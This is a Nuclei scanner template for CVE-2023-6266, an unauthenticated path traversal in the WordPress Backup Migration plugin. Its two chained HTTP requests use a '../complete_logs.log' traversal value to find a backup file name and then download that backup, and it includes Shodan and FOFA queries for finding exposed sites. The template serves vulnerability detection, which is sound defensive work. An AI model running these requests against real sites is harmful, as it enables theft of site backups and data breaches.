id: CVE-2023-6266 info: name: WordPress Backup Migration <= 1.3.6 - Path Traversal author: riteshs4hu severity: high description: | WordPress Backup Migration plugin versions up to 1.3.6 contain a path traversal and file validation issue in handle_downloading function, letting unauthenticated attackers download backup files containing sensitive information. impact: | Attackers can download backup files with sensitive data, leading to data breaches and privacy violations. remediation: | Update to the latest version of the plugin, version 1.3.7 or later. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/d8c3c04e-c0f9-4f7e-b7e5-3e3e3e3e3e3e - https://patchstack.com/database/vulnerability/backup-backup/wordpress-backup-migration-plugin-1-3-7-unauthenticated-arbitrary-backup-download-vulnerability - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L1048 - https://plugins.trac.wordpress.org/browser/backup-backup/tags/1.3.5/includes/initializer.php#L972 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N cvss-score: 7.5 cve-id: CVE-2023-6266 cwe-id: CWE-552 epss-score: 0.02072 epss-percentile: 0.78991 cpe: cpe:2.3:a:backupbliss:backup_migration:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 1 vendor: backupbliss product: backup_migration framework: wordpress shodan-query: http.html:"backup-migration" fofa-query: body="backup-migration" tags: cve,cve2023,wp,wp-plugin,wordpress,backupbliss,backup-migration,vkev flow: http(1) && http(2) http: - raw: - | GET /?backup-migration=BMI_BACKUP&backup-id=../complete_logs.log HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "BM_Backup")' condition: and internal: true extractors: - type: regex name: backupfile part: body regex: - 'BM_Backup_[0-9_-]+_[A-Za-z0-9]+\.zip' internal: true - raw: - | GET /?backup-migration=BMI_BACKUP&backup-id={{backupfile}} HTTP/1.1 Host: {{Hostname}} redirects: true matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/zip")' condition: and # digest: 490a0046304402202b719cea90997b250923476a38326e268b5b8d20f9a7d4c4421e88cc2424cfe9022013973600ff2188613266a33d5d265e5bec7ccfa859a43a47f25df03b1264210b:922c64590222798bb761d5b6d8e72950